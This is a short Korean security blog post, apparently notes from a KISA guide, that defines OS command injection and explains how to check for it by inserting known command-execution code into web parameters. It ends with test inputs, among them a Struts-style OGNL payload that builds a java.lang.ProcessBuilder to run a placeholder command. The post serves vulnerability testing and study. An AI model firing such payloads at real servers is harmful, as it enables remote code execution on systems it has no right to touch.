vulnerability

운영체제 명령 실행 (Command Injection)

빈 칸 2024. 5. 13. 00:04

KISA 가이드

 

운영체제 명령 실행(Command Injection)이란?

사용자 입력 값에 의해 시스템 명령어가 실행되는 취약점

사용자 입력 폼, 쿠키, 파라미터, HTTP 헤더 등을 시스템 셸에 전달할 때 공격이 발생

 

점검 방법

웹에서 전달되는 파라미터 값에 공개적으로 알려진 운영체제 명령 실행 코드 삽입

명령어 실행되는지 확인

 

[삽입할 명령어]

example/X.action?action:%25{3\*4}
example/X.action?action:%25{3\*4}
example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String\[\]{'command','goes','here'})).start()}